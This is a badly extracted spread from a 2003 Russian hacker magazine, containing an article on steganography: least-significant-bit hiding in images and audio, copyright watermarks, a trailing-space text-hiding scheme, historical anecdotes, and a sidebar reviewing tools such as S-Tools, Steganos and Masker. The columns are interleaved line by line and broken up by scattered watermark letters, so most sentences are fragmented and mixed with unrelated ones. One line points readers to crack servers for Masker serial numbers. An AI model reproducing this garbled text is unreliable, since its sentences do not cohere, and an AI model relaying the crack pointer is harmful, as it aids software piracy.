 

p

df

 

 

 

 

e

 

значительные объемы данных.

 

 

 

 

p

df

 

 

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

стеганографии. Если же есть необходимость ис-

 

 

 

n

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Решение этих проблем нашлось в следующем

 

 

пользовать в качестве контейнера jpeg-файл, то

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

подходе. В цифровых фото-, аудио- и видеофай-

 

 

можно воспользоваться утилитой JSTEG. Работать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лах обычно содержится множество избыточной

 

 

с ней также крайне просто. Подробно останавли-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

информации, которая совершенно не воспринима-

 

 

ваться на чужих программах не будем - давай луч-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ется органами чувств человека. (Следует, правда,

 

 

ше сами кое-что напишем :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

заметить, что даже эта избыточная информация

 

 

А НАМ СЛАБО?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

очень и очень далека от оригинала, поскольку, во-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

первых, данные всегда разбиваются на конечное

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

число элементов, каждый из которых описывается

 

 

Когда я писал этот материал, мне в голову пришла

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

конечным двоичным числом. Аналоговый же сиг-

 

 

идея составить Perl-программу, реализующую

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нал содержит потенциально бесконечное число

 

 

простейший прием стеганографии - сокрытие ин-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сведений, которое обрубается при оцифровке.)

 

 

формации в текстовом файле. Как это можно сде-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Поэтому при умеренной декрементации цифровых

 

 

лать, какие изменения можно вносить в текст, что-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данных, обычный человек, в силу своего анатоми-

 

 

бы читатель не заметил подвоха? Первое, что при-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ческого строения, не сможет заметить разницы.

 

 

ходит в голову - добавлять в концы строк некото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Так, например, графические цветные RGB-файлы

 

 

рое количество пробелов (фактически, число в на-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кодируют каждую точку рисунка тремя байтами,

 

 

туральной системе исчисления), с которым можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

каждый из которых отвечает за собственную адди-

 

 

было бы без проблем сопоставить число в деся-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тивную составляющую цвета (красную, зеленую и

В сочетании с современными алгоритмами

тичной форме записи. Так, например, числу 8 бу-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

синюю). Модификация каждого из трех младших

дут соответствовать 8 пробелов в конце строки.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шифрования, стеганография обеспечивает

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бит приводит к изменению менее 1% интенсивнос-

Каждому числу можно поставить в соответ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

почти стопроцентную секретность

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ти данной точки, которое почти незаметно челове-

 

ствие букву из таблицы ASCII, однако не сле-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ческому глазу. Это позволяет скрывать в картинке

редачи данных неуклонно стремится к заветной

дует тупо брать ASCII-код символа, ведь букв

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

объемом 800 Кб порядка 100 Кб информации!

планке "100%".

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Информацию можно без проблем прятать и в звуко-

САГА ОБ АВТОРСКИХ ПРАВАХ

 

Первые

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вых файлах: только одна секунда оцифрованного ау-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

проявления

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дио с частотой дискретизации 44,1 кГц и разряд-

Более прозаичная сфера применения стега-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ностью отсчета 8 бит в стереорежиме позволяет без

нографии - сохранение авторских прав на

 

стеганографии

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

воспринимаемой человеческим ухом потери качества

цифровые объекты разработки. В интернете

Летописи Геродота (5 век

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

скрыть до 12 Кб информации! Это реализуется за

не редкость "безвозмездное заимствование"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

счет замены наименее значимых младших разрядов

фото-, аудио- и видеоматериалов. И даже ес-

до н.э.) донесли до нас лю-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

звукового отсчета на скрываемые данные.

ли дело доходит до суда, доказать право на

бопытную историю. Тиран

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

При этом происходит незначительное (менее 1%)

интеллектуальную собственность обиженной

Гистий, захваченный перси-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

искажение звука (прежде всего басового диапазо-

стороне бывает крайне сложно. Вот если бы,

дскими войсками в Сузах,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на), которое среднестатистический человек без

скажем, в картинке размещалось зашифро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

захотел послать сообщение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

специального оборудования не зафиксирует.

ванное сообщение, типа "This image was cre-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

своему родственнику в Ми-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ated by Vasya, all rights reserved etc. (c) 1930-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

леет что в Анатолии. Для

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Описанные схемы размещения информации являют

2003", то извлеченное из картинки на глазах

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

этого он побрил наголо ра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

собой наиболее производительные, эффективные и

у судей подобное сообщение было бы пря-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ба и вытатуировал сообще-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

безопасные приемы стеганографии. В сочетании с

мым доказательством кражи материала.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

современными алгоритмами шифрования, они отк-

Такой подход и практикуется уже некоторое

 

ние на его голове. После

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рывают поистине неограниченные возможности для

время, правда, он не дает абсолютной гарантии

того, как волосы отросли,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шпионажа и безопасной передачи данных. К при-

от порчи и удаления авторских меток.

 

раб доставил послание.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

меру, мегабайтный отчет о походах по подземель-

ÑÎÔÒ

 

Можно также вспомнить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ям ядерной станции можно без проблем размес-

 

случаи мошенничества в ка-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тить в нескольких фотографиях какой-нибудь смаз-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зино, когда один игрок по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ливой девушки и, прикрепив к письму в стиле

Для реализации описанных методов стеганог-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лучал от напарника инфор-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"Машка! Смотри, какая классная помада! Не смы-

рафии существует множество программ,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мацию о картах противника

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вается уже два месяца!", послать по мылу. Согла-

распространяемых абсолютно бесплатно. Из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

путем кодирования. Напри-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сись, редкий сотрудник ФСБ выделит эту мессагу

целой кучи софта я бы выделил S-tools -

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мер, если напарник закажет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

среди многих миллионов, ежедневно обрабатывае-

фриварную утилиту, позволяющую прятать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мых почтовыми серверами рунета. А если и выде-

любые данные в графических файлах gif/bmp

виски - значит, у противни-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лит, то ничего осмысленного, благодаря шифрова-

и несжатых звуковых записях.

 

ка есть бубновый туз, если

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нию, не найдет. Таким образом, безопасность пе-

Интерфейс программы интуитивно понятен и

 

будет курить сигару, то есть

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

предельно прост - в стиле drag'n'drop. Сперва

валет, а если заведет разго-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на рабочее поле программы перетаскивается

 

вор с девушкой, значит, не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файл-контейнер, после этого в правом углу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обошлось без пиковой да-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

программы отображается объем данных, кото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мы. Но это все стеганогра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рый может быть спрятан в этом контейнере. За-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

фия в ее первобытном про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тем скрываемый файл перетаскивается в окош-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

явлении, по мере же внедре-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ко программы, которая криптует его одним из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ния научных достижений в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

симметричных алгоритмов (по дефолту доступ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ны IDEA, MDC, DES и triple-DES) и помещает

 

повседневную жизнь, эле-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данные в контейнер, создавая новый файл.

 

менты стеганографии стали

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Извлечение информации осуществляется при

появляться в телеграфных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

помощи пункта "Reveal" в выпадающем меню

сообщениях, радиограммах,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Слева находится оригинальная

и, естественно, возможно только после ввода

наконец, в носителях циф-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

фотография, справа - картинка с

ключа шифрования.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ровой информации.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

размещенной внутри 20-килобайтной

Как я уже отмечал, работать с программой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

статьей. Мне даже сперва показалось, что

чрезвычайно просто, и она наглядно демон-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

справа цвета более насыщенные :)

стрирует всю мощь современных технологий

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Взлом

6 Юниксоид 7 Кодинг

8 Юниты

9 Quit>

 

 

 

 

 

63

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

 

 

ХАКЕР\¹58\Октябрь\2003

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

 

o

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

<Page 064>

 

 

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

BUY

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

Взлом

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

m

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

o

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

.c

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

 

e

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ШПИОНСКАЯ КОМПЬЮТЕРНАЯ ТАЙНОПИСЬ

Стеганографический софт

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Никита Кислицин (nikitoz@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

S-Tools

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ftp://ftp.ware.ru/win/s-tools4.zip

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Старенькая (1996 год!) и совсем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

небольшая утилита для сокрытия

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файлов в gif, bmp-картинках, а так-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

же в несжатых звуковых wav-запи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сях. Программа крайне проста в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

использовании - необходимо лишь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

перебросить файл, в который будет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

прятаться инфа, и сам файл, кото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рый будет сокрыт. Основные мину-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сы: не поддерживается графичес-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кий формат jpeg, нельзя запихи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вать файлы в mp3 и видео.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Steganîs Security Suite v5.0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.steganos.com/software/sss5int.exe

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Это не совсем стеганографичес-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кий продукт. В SSS собрана куча

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В сочетании с современными алгоритмами

различных криптовещей. Програм-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шифрования, стеганография обеспечивает

ма, например, умеет

создавать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

почти стопроцентную секретность

виртуальные шифрованные диски,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кодировать электронные письма,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

удалять файлы с диска без воз-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

можности восстановления, ну и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

самое главное - прятать информа-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

цию в звуковых и графических

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файлах.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Masker 7.0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.softpuls.com/masker/msksetup.exe

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Программа-монстр. Позволяет ис-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Программа на работе

 

пользовать в качестве контейне-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ра: графические файлы (bmp, jpg,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в латинском алфавите 26, а в АСКИ-таблице 255

gif, tif, pcx, png), исполняемые

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файлы (exe, dll, ocx), звуковые

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

символов (два алфавита в разных регистрах, спец-

файлы (wav, mid, snd, mp3), видео-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

символы и коды управления).

файлы (avi, mov, mpg, asf). Очень

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Таким образом, поставив букве "a" в соответствие

удобная в использовании утилита. Единственный минус (ес-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

число 1, мы получили удобные для обозначенного

ли так можно выразиться) - на паблик до сих пор не выложи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кодирования индексы. Каждая строка, вопреки ожи-

ли кряк, а предыдущие версии весьма сложно найти. Един-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

даниям, может кодировать несколько символов! Как

ственное место, которое мне удалось обнаружить -

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

же отделять код одной литеры от кода следующей,

http://tucows.wave.net.br/files/msksetup.zip. Здесь лежит пя-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ведь мы не можем ставить никаких видимых разде-

тая версия Masker'а. Серийники к ней есть практически на

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лителей? Видимых - не можем, зато можем ставить

всех кряк-серверах.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

табуляции, что и решает проблему.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Программа по введенному нами же ограничению

Подборка утилит

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(заданному преобразованию ACII-кода литер) пред-

www.petitcolas.net/fabien/steganography/stego_soft.html

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

назначена для сокрытия лишь строк из латинских

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

символов нижнего регистра, без каких-либо разде-

Тут расположился целый архив ути-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лителей. Повторюсь, этот метод стеганографии не

лит, связанных со стеганографи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обеспечивает должного уровня секретности и про-

ей. Это довольно популярный на-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

изводительности. Однако рассмотренный пример

бор программ: Gif-It-Up, Hide and

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

программы отлично показывает фундаментальные

Seek, Steghide è MP3Stego. Îñî-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

принципы стеганографии, и, мне кажется, довольно

бенно стоит выделить последнюю

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

интересен. Perl-программу, реализующую этот под-

программу - MP3Stego. Она абсо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ход, можно найти на CD, которым комплектуется

лютно фриварная + к ней выложе-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

журнал, либо на моем сайте - nikitos.inc.ru, либо на

ны исходники под Visual C++. Кодеры должны активизиро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.xakep.ru. Также на диске лежит подборка луч-

ваться и начать шлепать свои суперутилиты :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ших стеганографических утилит. Удачных тебе экс-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

периментов :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

64 Ньюсы

1 Феррум

2 Inside

3 PC_Zone

4 Implant

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

